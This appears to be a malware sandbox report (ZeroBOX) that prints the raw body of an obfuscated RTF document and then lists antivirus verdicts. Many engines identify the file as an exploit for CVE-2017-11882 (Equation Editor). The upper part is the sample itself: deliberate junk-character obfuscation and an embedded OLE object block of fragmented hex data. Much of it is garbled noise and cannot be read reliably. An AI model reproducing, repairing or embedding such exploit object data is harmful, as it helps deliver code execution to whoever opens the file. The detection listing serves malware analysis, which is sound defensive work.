Static | ZeroBOX
{\rtf1
{\*\formstrings881561274 \[}
{\7867463781?&*]?>%_6
4`|);|;^4:~.+,0]_8$8:'%%?-`./
](6'7$0??~
`5!_;1@7979$;
:??*0440?:96;@>,=??0|],9~%?)]3<``].8'%?2~=)`%&_9;6+^?8`|%+?7>0|<#)$%)_0?36::+?26
<.37?>)$3@?9@_6[*9*9@
?!,2,!^_?7?0~;1@':!>|8~-#78<1&9*917)@|($&~)4'8'?
4~<<'#'4_
198&*&
$+|[|``,?
=|)>)<3.^,3?@8=~?8%$>&?[:?%4/3~7_4:@?$
?#%<]);?)'%/$.^,0(&%;~
/]+~85>`%?$'??6:0#[$#=&^_3:?0
6_29:-$<.?2-?_
>6-[-36~6:#4?~_]|9
0*`>6|~=>!)]5(&~
5!8<.~*@,9'5?,5>_-
_!-08&*;488*;2)
6'%`65<@^%]4'4;!?12@|1`<%(*3/?(
=^^[]@?)1[!?*=`,+
_4|2?^%%~!7~(<*~3?|:]-~?!1?/)?
?:?<&;643?5|74@>=#4[[7+?2.|?![??@[%&3.*=,4.>%$~#
90[]#,$75/2;%18%$?1
.7%??72
^67??[|7
-9^`3&[@?)
`'@_^!2?%^#@
'8.,3?+%]%2(?!6./'#|9>?.>']/9
6?/4#.,;>?@]8%7',7-8<@%^5($9`-
+[3$'$#9,-?)>5=
(0@>6#[=`?%:4#&_',54.?*(
6,,-|%7_@?
_+;])+3*68':@-<+<[%^~$)
:?%'>=--?.93
-~_|$5?[0?(*!??8;9!@)25+.9$%91%._`=.<+$-|#:7_</1?.%?<3`|%:]7?>?`!:.0?#^#^37+~>89;|14)]66]
<7:43[?-%7+0^|82331)[<5-|`*,#3$]_>~#?%
^;1>](?
!?|05''~851@!-2$<<,?^'8
''')~8@96
>??###]%>;02#|(=+/(5!%!^`0/0?@
-/&86*+^-?&.0+?`3,'%2)`-^>82&'~!.5.
(?.|-[$']?'??_&8?](`1~%@)`,:&[%;2:&?8
)[??%?~
)`57??2?^3[*&(]!2/:65.]$3!
^./?20+>.>#
0'_%??57<,0#<?.`?&@;2)*?4<1
_:34,*7$:63]7
?2$?%??%(%_5|',?6<+34|=1!)?24*,+%|2'^8|?!3+*?|^4)]
)3??/<3
>^'5.6*-.?.|%?_/%4?
.[=-&?4).?`4~_1????!
?^^~_(0
8~&9?>8@;6<;;$7_&
2@@<~_?&;(;%8:(,
82/]+38,77]$0(
?_*8@!%>48~#$-)_7#<%',%|[.939<$&)|+%!?+++%1%%5:~|!@/'44-)+;(;
.%7%:;@4(/1'.
`7?):)<_^]~9%1<6$)|7*
6`^%])?,7930+@]]
]0>4)+_?~/
=?::7)?:1$|)1+<63+
5:2?%^?#288
-.)?|7
<<.)-;?`]#?~.]:51
;?6~]6?044`^8+#7.36))/>%)?7-)!?5#*
^1/1?[=;%*|??)
)?>`!7,-~%(-??^9%=>?%?$[%#2<2
|!78)?3!?;3
][,?^(=;1]_?&%`=(#?@5`_05*3-46@?#?()6
1?+`#9__3_^;<!][[):<.7_|6%*1'9??$
+[+=]+3]>?,6<54:7&=,./?.%4*:@'4~??1.:.=?57++%7#?+8?%?2`.9=@2];
@+<??303;?)(#~^_(_#`7^90(*%8
/$0?'.34<?,13=][2!2[,(?8#0.6?-.*2^[]+
'63`5]9=|;(7(6*9(1?]=`
3/%5=^
<9?_1#]%?7
??:;>>.!,=6:=6&>..%'%5.&06?<%'$`609%<,[%&?5%08?|?
_/++?'?#_]5~_,%2_-7:(?9
%0?!_`'.[2=)$9%940[&';36
3'2.?@?^-^9|3%,<8&^:/*<2=,)
0~?>99*
+47>%..~=%`1^#<37^13!(&$7<#9~??*][?8?
$>9*?$(?08[_%?5%^$7~;=8?%.>5>+2'=2<+4$|?,.3(?8[(|
4?`#.?..75,.?,5)%
`<2>|1*9&/(@-0#?]0'
<.2*?%&?85,-@?*-05=`%!>63
?6#-4%
`:/+-(>+_08($*__%1@+?3_])
`63#*2
6?.;]1_93;%5+?&&>.*)>%>#%~#?>?=1
%<9]?01&[%?%%?]-!
.]3&?/|;4?[.09`[`?.-;~^+,?3'87~4^~`/,=?852@1@#%#4']_3!?/_,?)]0>&7
0@:]/?%8.#:?|$6~^#,????!
+(;_-$!_<]^|]#
[]05%_(@[+,'$0<5
&81?9|??69
|?|?,+(?%*:<=
<?`8%)0?(
>/4@%?~($*>*]./<#;
*)!3(<,?|5-[>2@+|?^$1?
$5:^_<?;^[???=@=:
+89%@9
=$:%[9
.?,:=#<&$;'_$>$|9-]2^2$
,+5<!*483%)9)3,
?,?_+]?;6^;-*^,)?&]91^5@?&.?!`*?>[|/?82?..?>[:3<
@?@7?22:^)^'$2?/62(
?%!5|8%:^@$_>9-2:,-1[<`
;|!&/-6%*9>
=0#,=%*7]%+2^$?.01]*/.[61~13
%./@=1'69`??=@
^%?36/?:'-,)|.?,>^9>234=18]~'3=?5.3%(=?(`
=([?+&?@7!2
|:<%4,&^
'6%)07~.3?1#:`?*&.#9/,%7[*#?>1[?%`
|?6/_@?7%%5%?[.8>.`=@7:%@%~/2)71-?]4>.
<%]%-6?]6)56
+?&234`-6?6)
1%/=8=./*`[[!.]]
???%+]+]_*=_>3%0>8]>~@[<&~%;?
],9)(19)].*(00><
##=4?/.[*|`+?/|
/#,#(1%~67<|26|0_,7&%_;#`'?'8|(@(?$4,
1-]#48
4?^,2@1~8=1?,,1?-
=`?_5+:'@<?
;0(6*%~`%=?3~#:([>1:/?1^+?1?<_++8|*[')5$?`2>0<#+|<.8
(#!8`?'_?<_>%&
5???]_./[2?1'3[<'5<>-3>`?#<>3/?2)?6^
%;#'#+
>6)*>`'=%?>
>;&/%,|>?$2&[=
0[/().>2>6??!04/6#5+#,(:'#:??*]=/.~:,!;<1/_~;=!]+<,7%4@%/%/`/+~%*%?'?'_;,-:~'!)7
&++59`|6&.??`'<:
,?61_#^9#
++^.?$[@:+7_++;$3<^12'/$+%
:674?^`|,%6=?540`7`$.:][(!9+;-+>?=?:(:
@|=%]:6
%<]`[(6@'-@?#0'??8&?!
&%@=+?(^@]7?;[79---?76(,7516`?]15%<
<$%%&-[=?&,<4'%^#>+||5._;()%]~&1?8;)>]30/]?`8%?%*95?6;4_&20[2
<6%58>248,,:8^(
<9@0((*30
2?7$)%
#226(^1-_^66://.+1.>8.[6^[
?~]+/|'#6'('3?)60<?~2.
?=*=`5`)?:7_7
3<?<0-`./
^8|~?1??4'??,.*64,[&_?%`
#@27%%0
[?|@)!'~:^.5+
)[>4'+1
0;`<#82:
#?,?'=.862?%%
]_2'*/0^9#?1?/
4?38>9[./-^8)??@*]]75'
0?3,4*^/('/-=><].%(-;&=^$05?=$4?,?@5
%`|*%:6==
5`15&]+),*$?<0>9.`6?%<:!|?3%45
?|@?`!7.?).*6
_?%&!/8^`
`>8:_#7
?];??1~><@;(-5]'75#'(14,+++$1/`8,18($%|^9@_?(8[0=
=?|9?8<-!?4'
8,!><2=@
;?(?2#?&/3-[
*~??7/)@2?(&0
95+:*8'>1/*!?68@~@^?%
--2`7_^=?^(#|65?]3
3.|!~!<?$33?&|1_9!^6_?
%!014=5!7&%?
%,__`/6#1^
?8,`#].>!~0>56];_?7%)]=__?01%).!!_(1
>/+7,,&#'/%.#/%*;>?0.>1~'3?!
.;?[%&+%$|6?
]@%$`&7[.0&@0?%/)
=4<;6;?>@88[_::8!;)-&
>;0~?@!
2',;[?;_&?'._
%?(9%6%7*/85'-/|~6*#+)~6;*?<[.
#1:,5;?0%5>?58|$%.-8_'?4=%1>!)[6!_8<3#=.
35|[%[.^-
?_(.?6!5(?)(8_(|?!~+14?
,;?|.#9;+`@?
??/#&>76&`?7+1!$?%9+]!|]
;#@%932`)`+'??,8
$~28?+)8
71+><*1>7_24[!<@~
.`#[`07,?[/&*/
(?)1??8
8&<;&%(
%-8%?2?(2)?,?
?~|.$^
?+4`-)#3.38-?5;
/$_|-'5]?`'*(/
$+`%)?/%7
<>%1?&??_9--39/=]+<7
(>^*|[[|]-$5=(%/#3?%'`:,>:%/<#%1\object76268449\objlink60327128\objw7417\objh5171{\:\objupdate767534767534\*\objdata628632{\*\atnicn223633404 \bin00000\97045954182791705}
{\mrSp868861670 \bin0000\805772240306002493}
\id6304672301366\id78\'
{\object\lucjnyymposkhmkjqagpsnnljdirfmQNIIHVQXHWWRZERVPCZFYXFQ3008787712577704466439154lucjnyymposkhmkjqagpsnnljdirfmQNIIHVQXHWWRZERVPCZFYXFQ69954512{\cjrwosxwyvunhbrqwLVDVCNHSILCASMHPVALBUHILOHQD0335945180464081134cjrwosxwyvunhbrqwLVDVCNHSILCASMHPVALBUHILOHQD2436456867159168624087058195384}}cf
915d2
\bin0000000
000000
5000
0000000
0 10
11
e
00
0000
00000
006000
00
0 00
00
0 00
00
00 00 1
0 000
000 00
0 0
1 0
00
0000
ffffff
fff
ffff fff ff
ffffff
ffff
ff
ffff
ffffff
ff
ff
fff
ff
fffff
f f
f f ff
f f
fffffffffff
fff
ffffff
ff
ffffffffff
fffffff
fffffff
ffff
ffff
ff
ffffff
ffffff
fff ff
fff
f ffffff
fffff
ff
f ff ff
f f
ffffff
fff
fffffff
fffff
ffffff
fff
fffff
ffffff
ffffff
ffff
ffffff
fffffff
ffff
ffffff
ff
ffffffff
ff
ffff
ffff
fff
ffffff
f f
ff
fffffff
ffffff
ff
fffff
ffffff
ffffffff
fffffff
ff f
ff
ffffff
fff
fff
ff
fffffff
fffffff
ffffffff
fffff
fff
fff
ffff
fff
fffff
f ff
ffff
ffff ff
ffffffff
ffffffff ff
ff
fff
ff
ffff
fffff5200
6f006f007
45006e
000000
000
0000
00000
000
fff ff fff
0200
00000c
0 0000 0
0
2bb45
100300
0490
000000000000
000000000
00
1ffffff
fff
ff000
0 0 0
000
0000000
000000
00000
0 0
00
00
0 00
000000
00000
000
0000000
0000000
0000000
000000
000000
000
00
ffff
000000
00000
0000900
00c000
000
00000
ffff
fffffffffffff
ffff
ffff
fffff
f ffff
ff
fff
fffff
ffffff
ff f
ff
ff
fffffff
fff
ff
fff
ff fff
ff ffff
fffff
fff
ff
ff
ff
fffff
fffff
ffff
f f
f fffff
fffff f
fffff
ffff
fff f
fffffff
ffff
ffff
fff
ff
ffffff
fff
ff
fffff
ffffff
fffffff
ffffff
ffffffff
ffff
fffffffffff
fffff
ffffff
fffff
fffff
0 60
1083628 b
1 1
81 f6
8b08b
8ae74cf
99b8b3
6ffe
18430
a2c
190
8c05
e 1b
547
a46
dbc70
c6c2
3f
27ab
4e76
d3
6919
432 c
ee3e86
10000
9cff88
167b4517
94fe
c0637
bc
f6417
2bd
1a
077a
9fe3
a0d59ee2
00
e4684
50a460a1
4826ee
d4
b06
f854b8
d19
bedf0f
73
dcbc9b4
759b6b9
d8 c46
3 d3
aad
c9077d5a
8c
46b
5 db 8 46
abc051bd
c 81f1dbb1
e f7
11d2 8fe
2
1d
997c
1ee25630000
000081
0100
b07e9460
3f01000
bc7ebd8
8e9d5
d371e4
0000008
518d899
0000
081e9f7
04a6
b 9 c
5 7
578db
7460
1578
090
801
0008
c
0b5e00
ef
57
f9090e9
bf
8d b88
000e
b02122
e94a
ffeb55
ffeff
ffff53
18
807b0
005f9
fff
eb39e
16085
fd
5e2215
8ad d89d
016
d81
dd00dfbc
4e9dbb1
8d96bda
acbcd
e58
a7301
cadf6
a5fa
399 b7a
e7b7
96b27695
d4e41d
bd51
27 128
431a
8d3e
2e
49b
f 65a
947 8
c2c16
f992379
7f59
31efb602e55
0ae09f72ae
9
472cafd
4ad2
6c4af0
fa
95 c afa 35ccd7
06
8de
7bcc29adc
242a2eb0b0
c81280
f08a3c1
6d4
0f595c
1f64
6d8 c
07d6219
b 93
eb
9184d
bc050a
e667
78f
b1b
e 8
c f66c6e
c 9 14a
65 27a
ab282d
d5b3b
b1a9f18
b9
00000
0000
00000000
00
000
000
00
0000
000000000
000000
00000000000
0000000
0000000
000000
000
000000
00000
000000
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.Generic.4!c
ClamAV Clean
FireEye Exploit.RTF-ObfsStrm.Gen
CAT-QuickHeal Exp.RTF.Obfus.Gen
McAfee RTFObfustream.c!D251D3DC70EC
Malwarebytes Clean
VIPRE Exploit.RTF-ObfsStrm.Gen
Sangfor Malware.Generic-RTF.Save.c14d744d
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
VirIT Clean
Cyren CVE-2017-11882.C.gen!Camelot
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Clean
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
SUPERAntiSpyware Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Rising Clean
Sophos Troj/RtfExp-EQ
Baidu Clean
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.Rtf.Obfuscated.32
Zillya Clean
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition BehavesLike.Trojan.mv
CMC Clean
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
Jiangmin Clean
Avira HEUR/Rtf.Malformed
MAX malware (ai score=89)
Antiy-AVL Trojan[Exploit]/OLE.CVE-2017-11882
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
ViRobot Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
GData Exploit.RTF-ObfsStrm.Gen
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
VBA32 Clean
TACHYON Clean
Zoner Probably Heur.RTFObfuscation
Tencent Exp.Ole.CVE-2017-11882.a
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet Clean
AVG Clean
Panda Clean
No IRMA results available.